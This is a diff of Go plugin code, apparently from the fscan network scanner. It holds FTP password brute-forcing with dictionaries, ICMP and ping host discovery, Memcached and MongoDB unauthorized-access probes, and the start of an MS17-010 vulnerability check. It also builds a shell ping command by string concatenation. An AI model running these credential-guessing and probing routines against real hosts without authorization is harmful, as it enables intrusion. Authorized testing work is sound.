for _,pass:=range common.Passwords{
|
||||||
starttime := time.Now().Unix()
|
pass = strings.Replace(pass, "{user}", string(user), -1)
|
||||||
flag, err := FtpConn(info, "anonymous", "")
|
flag,err := FtpConn(info,user,pass,ch,wg)
|
||||||
if flag == true && err == nil {
|
if flag==true && err==nil {
|
||||||
return err
|
break Loop
|
||||||
} else {
|
|
||||||
errlog := fmt.Sprintf("[-] ftp://%v:%v %v %v", info.Host, info.Ports, "anonymous", err)
|
|
||||||
common.LogError(errlog)
|
|
||||||
tmperr = err
|
|
||||||
if common.CheckErrs(err) {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, user := range common.Userdict["ftp"] {
|
|
||||||
for _, pass := range common.Passwords {
|
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
|
||||||
flag, err := FtpConn(info, user, pass)
|
|
||||||
if flag == true && err == nil {
|
|
||||||
return err
|
|
||||||
} else {
|
|
||||||
errlog := fmt.Sprintf("[-] ftp://%v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
|
||||||
common.LogError(errlog)
|
|
||||||
tmperr = err
|
|
||||||
if common.CheckErrs(err) {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ftp"])*len(common.Passwords)) * common.Timeout) {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return tmperr
|
wg.Done()
|
||||||
|
<- ch
|
||||||
}
|
}
|
||||||
|
|
||||||
func FtpConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
func FtpConn(info *common.HostInfo,user string,pass string,ch chan int,wg *sync.WaitGroup)(flag bool,err error){
|
||||||
flag = false
|
flag = false
|
||||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
Host,Port,Username,Password := info.Host, common.PORTList["ftp"],user, pass
|
||||||
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(common.Timeout)*time.Second)
|
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v",Host,Port), time.Duration(info.Timeout)*time.Second)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
err = conn.Login(Username, Password)
|
err = conn.Login(Username,Password)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
flag = true
|
defer conn.Logout()
|
||||||
result := fmt.Sprintf("[+] ftp://%v:%v:%v %v", Host, Port, Username, Password)
|
result := fmt.Sprintf("FTP:%v:%v:%v %v",Host,Port,Username,Password)
|
||||||
dirs, err := conn.List("")
|
|
||||||
//defer conn.Logout()
|
|
||||||
if err == nil {
|
|
||||||
if len(dirs) > 0 {
|
|
||||||
for i := 0; i < len(dirs); i++ {
|
|
||||||
if len(dirs[i].Name) > 50 {
|
|
||||||
result += "\n [->]" + dirs[i].Name[:50]
|
|
||||||
} else {
|
|
||||||
result += "\n [->]" + dirs[i].Name
|
|
||||||
}
|
|
||||||
if i == 5 {
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
|
flag = true
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return flag, err
|
return flag,err
|
||||||
}
|
}
|
||||||
+140
-255
@@ -2,317 +2,202 @@ package Plugins
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"bytes"
|
"bytes"
|
||||||
|
"encoding/binary"
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"golang.org/x/net/icmp"
|
|
||||||
"net"
|
"net"
|
||||||
|
"os"
|
||||||
"os/exec"
|
"os/exec"
|
||||||
|
"os/user"
|
||||||
"runtime"
|
"runtime"
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
var (
|
var icmp ICMP
|
||||||
AliveHosts []string
|
|
||||||
OS = runtime.GOOS
|
|
||||||
ExistHosts = make(map[string]struct{})
|
|
||||||
livewg sync.WaitGroup
|
|
||||||
)
|
|
||||||
|
|
||||||
func CheckLive(hostslist []string, Ping bool) []string {
|
var AliveHosts []string
|
||||||
chanHosts := make(chan string, len(hostslist))
|
|
||||||
go func() {
|
|
||||||
for ip := range chanHosts {
|
|
||||||
if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) {
|
|
||||||
ExistHosts[ip] = struct{}{}
|
|
||||||
if common.Silent == false {
|
|
||||||
if Ping == false {
|
|
||||||
fmt.Printf("(icmp) Target %-15s is alive\n", ip)
|
|
||||||
} else {
|
|
||||||
fmt.Printf("(ping) Target %-15s is alive\n", ip)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
AliveHosts = append(AliveHosts, ip)
|
|
||||||
}
|
|
||||||
livewg.Done()
|
|
||||||
}
|
|
||||||
}()
|
|
||||||
|
|
||||||
if Ping == true {
|
type ICMP struct {
|
||||||
//使用ping探测
|
Type uint8
|
||||||
RunPing(hostslist, chanHosts)
|
Code uint8
|
||||||
} else {
|
Checksum uint16
|
||||||
//优先尝试监听本地icmp,批量探测
|
Identifier uint16
|
||||||
conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
|
SequenceNum uint16
|
||||||
if err == nil {
|
|
||||||
RunIcmp1(hostslist, conn, chanHosts)
|
|
||||||
} else {
|
|
||||||
common.LogError(err)
|
|
||||||
//尝试无监听icmp探测
|
|
||||||
fmt.Println("trying RunIcmp2")
|
|
||||||
conn, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second)
|
|
||||||
defer func() {
|
|
||||||
if conn != nil {
|
|
||||||
conn.Close()
|
|
||||||
}
|
|
||||||
}()
|
|
||||||
if err == nil {
|
|
||||||
RunIcmp2(hostslist, chanHosts)
|
|
||||||
} else {
|
|
||||||
common.LogError(err)
|
|
||||||
//使用ping探测
|
|
||||||
fmt.Println("The current user permissions unable to send icmp packets")
|
|
||||||
fmt.Println("start ping")
|
|
||||||
RunPing(hostslist, chanHosts)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
livewg.Wait()
|
|
||||||
close(chanHosts)
|
|
||||||
|
|
||||||
if len(hostslist) > 1000 {
|
|
||||||
arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, true)
|
|
||||||
for i := 0; i < len(arrTop); i++ {
|
|
||||||
output := fmt.Sprintf("[*] LiveTop %-16s 段存活数量为: %d", arrTop[i]+".0.0/16", arrLen[i])
|
|
||||||
common.LogSuccess(output)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if len(hostslist) > 256 {
|
|
||||||
arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, false)
|
|
||||||
for i := 0; i < len(arrTop); i++ {
|
|
||||||
output := fmt.Sprintf("[*] LiveTop %-16s 段存活数量为: %d", arrTop[i]+".0/24", arrLen[i])
|
|
||||||
common.LogSuccess(output)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return AliveHosts
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string) {
|
type SystemInfo struct {
|
||||||
endflag := false
|
OS string
|
||||||
go func() {
|
ARCH string
|
||||||
for {
|
HostName string
|
||||||
if endflag == true {
|
Groupid string
|
||||||
return
|
Userid string
|
||||||
}
|
Username string
|
||||||
msg := make([]byte, 100)
|
UserHomeDir string
|
||||||
_, sourceIP, _ := conn.ReadFrom(msg)
|
|
||||||
if sourceIP != nil {
|
|
||||||
livewg.Add(1)
|
|
||||||
chanHosts <- sourceIP.String()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}()
|
|
||||||
|
|
||||||
for _, host := range hostslist {
|
|
||||||
dst, _ := net.ResolveIPAddr("ip", host)
|
|
||||||
IcmpByte := makemsg(host)
|
|
||||||
conn.WriteTo(IcmpByte, dst)
|
|
||||||
}
|
|
||||||
//根据hosts数量修改icmp监听时间
|
|
||||||
start := time.Now()
|
|
||||||
for {
|
|
||||||
if len(AliveHosts) == len(hostslist) {
|
|
||||||
break
|
|
||||||
}
|
|
||||||
since := time.Now().Sub(start)
|
|
||||||
var wait time.Duration
|
|
||||||
switch {
|
|
||||||
case len(hostslist) <= 256:
|
|
||||||
wait = time.Second * 3
|
|
||||||
default:
|
|
||||||
wait = time.Second * 6
|
|
||||||
}
|
|
||||||
if since > wait {
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
endflag = true
|
|
||||||
conn.Close()
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func RunIcmp2(hostslist []string, chanHosts chan string) {
|
func GetSys() SystemInfo {
|
||||||
num := 1000
|
var sysinfo SystemInfo
|
||||||
if len(hostslist) < num {
|
|
||||||
num = len(hostslist)
|
sysinfo.OS = runtime.GOOS
|
||||||
|
sysinfo.ARCH = runtime.GOARCH
|
||||||
|
name, err := os.Hostname()
|
||||||
|
if err == nil {
|
||||||
|
sysinfo.HostName = name
|
||||||
}
|
}
|
||||||
var wg sync.WaitGroup
|
|
||||||
limiter := make(chan struct{}, num)
|
u, err := user.Current()
|
||||||
for _, host := range hostslist {
|
sysinfo.Groupid = u.Gid
|
||||||
wg.Add(1)
|
sysinfo.Userid = u.Uid
|
||||||
limiter <- struct{}{}
|
sysinfo.Username = u.Username
|
||||||
go func(host string) {
|
sysinfo.UserHomeDir = u.HomeDir
|
||||||
if icmpalive(host) {
|
|
||||||
livewg.Add(1)
|
return sysinfo
|
||||||
chanHosts <- host
|
|
||||||
}
|
|
||||||
<-limiter
|
|
||||||
wg.Done()
|
|
||||||
}(host)
|
|
||||||
}
|
|
||||||
wg.Wait()
|
|
||||||
close(limiter)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func icmpalive(host string) bool {
|
func isping(ip string) bool {
|
||||||
startTime := time.Now()
|
icmp.Type = 8
|
||||||
conn, err := net.DialTimeout("ip4:icmp", host, 6*time.Second)
|
icmp.Code = 0
|
||||||
defer func() {
|
icmp.Checksum = 0
|
||||||
if conn != nil {
|
icmp.Identifier = 0
|
||||||
conn.Close()
|
icmp.SequenceNum = 0
|
||||||
}
|
|
||||||
}()
|
recvBuf := make([]byte, 32)
|
||||||
|
var buffer bytes.Buffer
|
||||||
|
|
||||||
|
binary.Write(&buffer, binary.BigEndian, icmp)
|
||||||
|
icmp.Checksum = CheckSum(buffer.Bytes())
|
||||||
|
|
||||||
|
buffer.Reset()
|
||||||
|
binary.Write(&buffer, binary.BigEndian, icmp)
|
||||||
|
|
||||||
|
Time, _ := time.ParseDuration("2s")
|
||||||
|
conn, err := net.DialTimeout("ip4:icmp", ip, Time)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
if err := conn.SetDeadline(startTime.Add(6 * time.Second)); err != nil {
|
_, err = conn.Write(buffer.Bytes())
|
||||||
|
if err != nil {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
msg := makemsg(host)
|
conn.SetReadDeadline(time.Now().Add(time.Second * 2))
|
||||||
if _, err := conn.Write(msg); err != nil {
|
num, err := conn.Read(recvBuf)
|
||||||
|
if err != nil {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
receive := make([]byte, 60)
|
conn.SetReadDeadline(time.Time{})
|
||||||
if _, err := conn.Read(receive); err != nil {
|
|
||||||
return false
|
if string(recvBuf[0:num]) != "" {
|
||||||
|
fmt.Printf("(ICMP) Target '%s' is alive\n",ip)
|
||||||
|
return true
|
||||||
}
|
}
|
||||||
|
return false
|
||||||
|
|
||||||
return true
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func RunPing(hostslist []string, chanHosts chan string) {
|
func CheckSum(data []byte) uint16 {
|
||||||
var bsenv = ""
|
var (
|
||||||
if OS != "windows" {
|
sum uint32
|
||||||
bsenv = "/bin/bash"
|
length int = len(data)
|
||||||
|
index int
|
||||||
|
)
|
||||||
|
for length > 1 {
|
||||||
|
sum += uint32(data[index])<<8 + uint32(data[index+1])
|
||||||
|
index += 2
|
||||||
|
length -= 2
|
||||||
}
|
}
|
||||||
|
if length > 0 {
|
||||||
|
sum += uint32(data[index])
|
||||||
|
}
|
||||||
|
sum += (sum >> 16)
|
||||||
|
|
||||||
|
return uint16(^sum)
|
||||||
|
}
|
||||||
|
|
||||||
|
func IcmpCheck(hostslist []string) {
|
||||||
var wg sync.WaitGroup
|
var wg sync.WaitGroup
|
||||||
limiter := make(chan struct{}, 50)
|
mutex := &sync.Mutex{}
|
||||||
for _, host := range hostslist {
|
for _,host :=range hostslist{
|
||||||
wg.Add(1)
|
wg.Add(1)
|
||||||
limiter <- struct{}{}
|
|
||||||
go func(host string) {
|
go func(host string) {
|
||||||
if ExecCommandPing(host, bsenv) {
|
defer wg.Done()
|
||||||
livewg.Add(1)
|
if isping(host){
|
||||||
chanHosts <- host
|
mutex.Lock()
|
||||||
|
AliveHosts = append(AliveHosts, host)
|
||||||
|
mutex.Unlock()
|
||||||
}
|
}
|
||||||
<-limiter
|
|
||||||
wg.Done()
|
|
||||||
}(host)
|
}(host)
|
||||||
}
|
}
|
||||||
wg.Wait()
|
wg.Wait()
|
||||||
}
|
}
|
||||||
|
|
||||||
func ExecCommandPing(ip string, bsenv string) bool {
|
func ExecCommandPing(ip string,bsenv string) bool {
|
||||||
var command *exec.Cmd
|
command := exec.Command(bsenv, "-c", "ping -c 1 -w 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
|
||||||
if OS == "windows" {
|
|
||||||
command = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
|
|
||||||
} else if OS == "linux" {
|
|
||||||
command = exec.Command(bsenv, "-c", "ping -c 1 -w 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
|
|
||||||
} else if OS == "darwin" {
|
|
||||||
command = exec.Command(bsenv, "-c", "ping -c 1 -W 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
|
|
||||||
}
|
|
||||||
outinfo := bytes.Buffer{}
|
outinfo := bytes.Buffer{}
|
||||||
command.Stdout = &outinfo
|
command.Stdout = &outinfo
|
||||||
err := command.Start()
|
err := command.Start()
|
||||||
if err != nil {
|
if err != nil{
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
if err = command.Wait(); err != nil {
|
|
||||||
|
if err = command.Wait();err!=nil{
|
||||||
return false
|
return false
|
||||||
} else {
|
}else{
|
||||||
if strings.Contains(outinfo.String(), "true") {
|
if(strings.Contains(outinfo.String(), "true")) {
|
||||||
return true
|
return true
|
||||||
} else {
|
}else {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func makemsg(host string) []byte {
|
func PingCMDcheck(hostslist []string,bsenv string) {
|
||||||
msg := make([]byte, 40)
|
var wg sync.WaitGroup
|
||||||
id0, id1 := genIdentifier(host)
|
mutex := &sync.Mutex{}
|
||||||
msg[0] = 8
|
limiter := make(chan struct{}, 40)
|
||||||
msg[1] = 0
|
//aliveHost := make(chan string, 20)
|
||||||
msg[2] = 0
|
//go func() {
|
||||||
msg[3] = 0
|
// for s := range aliveHost {
|
||||||
msg[4], msg[5] = id0, id1
|
// fmt.Println(s)
|
||||||
msg[6], msg[7] = genSequence(1)
|
// }
|
||||||
check := checkSum(msg[0:40])
|
//}()
|
||||||
msg[2] = byte(check >> 8)
|
for _,host :=range hostslist{
|
||||||
msg[3] = byte(check & 255)
|
wg.Add(1)
|
||||||
return msg
|
limiter <- struct{}{}
|
||||||
}
|
go func(host string) {
|
||||||
|
defer wg.Done()
|
||||||
func checkSum(msg []byte) uint16 {
|
if ExecCommandPing(host,bsenv){
|
||||||
sum := 0
|
mutex.Lock()
|
||||||
length := len(msg)
|
fmt.Printf("(Ping) Target '%s' is alive\n",host)
|
||||||
for i := 0; i < length-1; i += 2 {
|
AliveHosts = append(AliveHosts, host)
|
||||||
sum += int(msg[i])*256 + int(msg[i+1])
|
mutex.Unlock()
|
||||||
}
|
|
||||||
if length%2 == 1 {
|
|
||||||
sum += int(msg[length-1]) * 256
|
|
||||||
}
|
|
||||||
sum = (sum >> 16) + (sum & 0xffff)
|
|
||||||
sum = sum + (sum >> 16)
|
|
||||||
answer := uint16(^sum)
|
|
||||||
return answer
|
|
||||||
}
|
|
||||||
|
|
||||||
func genSequence(v int16) (byte, byte) {
|
|
||||||
ret1 := byte(v >> 8)
|
|
||||||
ret2 := byte(v & 255)
|
|
||||||
return ret1, ret2
|
|
||||||
}
|
|
||||||
|
|
||||||
func genIdentifier(host string) (byte, byte) {
|
|
||||||
return host[0], host[1]
|
|
||||||
}
|
|
||||||
|
|
||||||
func ArrayCountValueTop(arrInit []string, length int, flag bool) (arrTop []string, arrLen []int) {
|
|
||||||
if len(arrInit) == 0 {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
arrMap1 := make(map[string]int)
|
|
||||||
arrMap2 := make(map[string]int)
|
|
||||||
for _, value := range arrInit {
|
|
||||||
line := strings.Split(value, ".")
|
|
||||||
if len(line) == 4 {
|
|
||||||
if flag {
|
|
||||||
value = fmt.Sprintf("%s.%s", line[0], line[1])
|
|
||||||
} else {
|
|
||||||
value = fmt.Sprintf("%s.%s.%s", line[0], line[1], line[2])
|
|
||||||
}
|
}
|
||||||
}
|
<-limiter
|
||||||
if arrMap1[value] != 0 {
|
}(host)
|
||||||
arrMap1[value]++
|
|
||||||
} else {
|
|
||||||
arrMap1[value] = 1
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
for k, v := range arrMap1 {
|
wg.Wait()
|
||||||
arrMap2[k] = v
|
//close(aliveHost)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func ICMPRun(hostslist []string) []string{
|
||||||
|
var sysinfo SystemInfo
|
||||||
|
sysinfo = GetSys()
|
||||||
|
|
||||||
i := 0
|
if sysinfo.OS == "windows" {
|
||||||
for _ = range arrMap1 {
|
IcmpCheck(hostslist)
|
||||||
var maxCountKey string
|
}else if sysinfo.OS == "linux" {
|
||||||
var maxCountVal = 0
|
if (sysinfo.Groupid == "0" || sysinfo.Userid == "0" || sysinfo.Username == "root") {
|
||||||
for key, val := range arrMap2 {
|
IcmpCheck(hostslist)
|
||||||
if val > maxCountVal {
|
}else {
|
||||||
maxCountVal = val
|
PingCMDcheck(hostslist,"/bin/bash")
|
||||||
maxCountKey = key
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
arrTop = append(arrTop, maxCountKey)
|
}else if sysinfo.OS == "darwin" {
|
||||||
arrLen = append(arrLen, maxCountVal)
|
if (sysinfo.Groupid == "0" || sysinfo.Userid == "0" || sysinfo.Username == "root") {
|
||||||
i++
|
IcmpCheck(hostslist)
|
||||||
if i >= length {
|
}else {
|
||||||
return
|
PingCMDcheck(hostslist,"/usr/local/bin/bash")
|
||||||
}
|
}
|
||||||
delete(arrMap2, maxCountKey)
|
|
||||||
}
|
}
|
||||||
return
|
return AliveHosts
|
||||||
}
|
}
|
||||||
|
|||||||
+18
-25
@@ -1,38 +1,31 @@
|
|||||||
package Plugins
|
package Plugins
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"../common"
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/common"
|
"net"
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
func MemcachedScan(info *common.HostInfo) (err error) {
|
func MemcachedScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) (err error, result string) {
|
||||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
realhost:=fmt.Sprintf("%s:%d",info.Host,common.PORTList["mem"])
|
||||||
client, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
|
client,err:=net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second)
|
||||||
defer func() {
|
if err==nil {
|
||||||
if client != nil {
|
client.SetDeadline(time.Now().Add(time.Duration(info.Timeout)*time.Second))
|
||||||
client.Close()
|
client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten
|
||||||
}
|
rev := make([]byte, 1024)
|
||||||
}()
|
n, err := client.Read(rev)
|
||||||
if err == nil {
|
|
||||||
err = client.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
|
||||||
if err == nil {
|
if err == nil {
|
||||||
_, err = client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten
|
if strings.Contains(string(rev[:n]), "STAT") {
|
||||||
if err == nil {
|
defer client.Close()
|
||||||
rev := make([]byte, 1024)
|
result = fmt.Sprintf("Memcached:%s unauthorized",realhost)
|
||||||
n, err := client.Read(rev)
|
common.LogSuccess(result)
|
||||||
if err == nil {
|
|
||||||
if strings.Contains(string(rev[:n]), "STAT") {
|
|
||||||
result := fmt.Sprintf("[+] Memcached %s unauthorized", realhost)
|
|
||||||
common.LogSuccess(result)
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
errlog := fmt.Sprintf("[-] Memcached %v:%v %v", info.Host, info.Ports, err)
|
|
||||||
common.LogError(errlog)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return err
|
wg.Done()
|
||||||
|
<- ch
|
||||||
|
return err, result
|
||||||
}
|
}
|
||||||
|
|||||||
+31
-38
@@ -1,56 +1,49 @@
|
|||||||
package Plugins
|
package Plugins
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"../common"
|
||||||
"fmt"
|
"fmt"
|
||||||
_ "github.com/denisenkom/go-mssqldb"
|
_ "github.com/denisenkom/go-mssqldb"
|
||||||
"github.com/shadow1ng/fscan/common"
|
"net"
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
func MongodbScan(info *common.HostInfo) error {
|
|
||||||
if common.IsBrute {
|
func MongodbScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||||
return nil
|
MongodbUnauth(info)
|
||||||
}
|
wg.Done()
|
||||||
_, err := MongodbUnauth(info)
|
<- ch
|
||||||
if err != nil {
|
|
||||||
errlog := fmt.Sprintf("[-] Mongodb %v:%v %v", info.Host, info.Ports, err)
|
|
||||||
common.LogError(errlog)
|
|
||||||
}
|
|
||||||
return err
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func MongodbUnauth(info *common.HostInfo) (flag bool, err error) {
|
func MongodbUnauth(info *common.HostInfo) (flag bool,err error) {
|
||||||
flag = false
|
flag = false
|
||||||
senddata := []byte{72, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0, 0, 2, 103, 101, 116, 76, 111, 103, 0, 16, 0, 0, 0, 115, 116, 97, 114, 116, 117, 112, 87, 97, 114, 110, 105, 110, 103, 115, 0, 0}
|
send_data := []byte{58,0,0,0,167,65,0,0,0,0,0,0,212,7,0,0,0,0,0,0,97,100,109,105,110,46,36,99,109,100,0,0,0,0,0,255,255,255,255,19,0,0,0,16,105,115,109,97,115,116,101,114,0,1,0,0,0,0}
|
||||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
getlog_data := []byte{72,0,0,0,2,0,0,0,0,0,0,0,212,7,0,0,0,0,0,0,97,100,109,105,110,46,36,99,109,100,0,0,0,0,0,1,0,0,0,33,0,0,0,2,103,101,116,76,111,103,0,16,0,0,0,115,116,97,114,116,117,112,87,97,114,110,105,110,103,115,0,0}
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
|
realhost:=fmt.Sprintf("%s:%d",info.Host,common.PORTList["mgo"])
|
||||||
defer func() {
|
conn,err := net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second)
|
||||||
if conn != nil {
|
if err != nil{return}
|
||||||
conn.Close()
|
defer conn.Close()
|
||||||
}
|
conn.Write(send_data)
|
||||||
}()
|
|
||||||
if err != nil {
|
|
||||||
return flag, err
|
|
||||||
}
|
|
||||||
err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
|
||||||
if err != nil {
|
|
||||||
return flag, err
|
|
||||||
}
|
|
||||||
_, err = conn.Write(senddata)
|
|
||||||
if err != nil {
|
|
||||||
return flag, err
|
|
||||||
}
|
|
||||||
buf := make([]byte, 1024)
|
buf := make([]byte, 1024)
|
||||||
count, err := conn.Read(buf)
|
count, err := conn.Read(buf)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return flag, err
|
return flag,err
|
||||||
}
|
}
|
||||||
text := string(buf[0:count])
|
text := string(buf[0:count])
|
||||||
if strings.Contains(text, "totalLinesWritten") {
|
if strings.Contains(text,"ismaster"){
|
||||||
flag = true
|
conn.Write(getlog_data)
|
||||||
result := fmt.Sprintf("[+] Mongodb:%v unauthorized", realhost)
|
count, err := conn.Read(buf)
|
||||||
common.LogSuccess(result)
|
if err != nil {
|
||||||
|
return flag,err
|
||||||
|
}
|
||||||
|
text := string(buf[0:count])
|
||||||
|
if strings.Contains(text,"totalLinesWritten"){
|
||||||
|
flag = true
|
||||||
|
result := fmt.Sprintf("Mongodb:%v unauthorized",realhost)
|
||||||
|
common.LogSuccess(result)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
return flag, err
|
return flag,err
|
||||||
}
|
}
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -3,10 +3,14 @@ package Plugins
|
|||||||
import (
|
import (
|
||||||
"encoding/binary"
|
"encoding/binary"
|
||||||
"encoding/hex"
|
"encoding/hex"
|
||||||
"errors"
|
"sync"
|
||||||
|
|
||||||
|
//"flag"
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/common"
|
"net"
|
||||||
|
"../common"
|
||||||
"strings"
|
"strings"
|
||||||
|
//"sync"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -18,65 +22,47 @@ var (
|
|||||||
trans2SessionSetupRequest, _ = hex.DecodeString("0000004eff534d4232000000001807c00000000000000000000000000008fffe000841000f0c0000000100000000000000a6d9a40000000c00420000004e0001000e000d0000000000000000000000000000")
|
trans2SessionSetupRequest, _ = hex.DecodeString("0000004eff534d4232000000001807c00000000000000000000000000008fffe000841000f0c0000000100000000000000a6d9a40000000c00420000004e0001000e000d0000000000000000000000000000")
|
||||||
)
|
)
|
||||||
|
|
||||||
func MS17010(info *common.HostInfo) error {
|
func MS17010(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||||
if common.IsBrute {
|
MS17010Scan(info)
|
||||||
return nil
|
wg.Done()
|
||||||
}
|
<- ch
|
||||||
err := MS17010Scan(info)
|
|
||||||
if err != nil {
|
|
||||||
errlog := fmt.Sprintf("[-] Ms17010 %v %v", info.Host, err)
|
|
||||||
common.LogError(errlog)
|
|
||||||
}
|
|
||||||
return err
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func MS17010Scan(info *common.HostInfo) error {
|
func MS17010Scan(info *common.HostInfo) {
|
||||||
|
|
||||||
ip := info.Host
|
ip := info.Host
|
||||||
// connecting to a host in LAN if reachable should be very quick
|
// connecting to a host in LAN if reachable should be very quick
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(common.Timeout)*time.Second)
|
conn, err := net.DialTimeout("tcp", ip+":445", time.Duration(info.Timeout)*time.Second)
|
||||||
defer func() {
|
|
||||||
if conn != nil {
|
|
||||||
conn.Close()
|
|
||||||
}
|
|
||||||
}()
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
//fmt.Printf("failed to connect to %s\n", ip)
|
//fmt.Printf("failed to connect to %s\n", ip)
|
||||||
return err
|
return
|
||||||
}
|
|
||||||
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
|
||||||
if err != nil {
|
|
||||||
//fmt.Printf("failed to connect to %s\n", ip)
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
_, err = conn.Write(negotiateProtocolRequest)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
}
|
||||||
|
defer conn.Close()
|
||||||
|
|
||||||
|
conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout)*time.Second))
|
||||||
|
conn.Write(negotiateProtocolRequest)
|
||||||
reply := make([]byte, 1024)
|
reply := make([]byte, 1024)
|
||||||
// let alone half packet
|
// let alone half packet
|
||||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||||
return err
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||||
// status != 0
|
// status != 0
|
||||||
return err
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
_, err = conn.Write(sessionSetupRequest)
|
conn.Write(sessionSetupRequest)
|
||||||
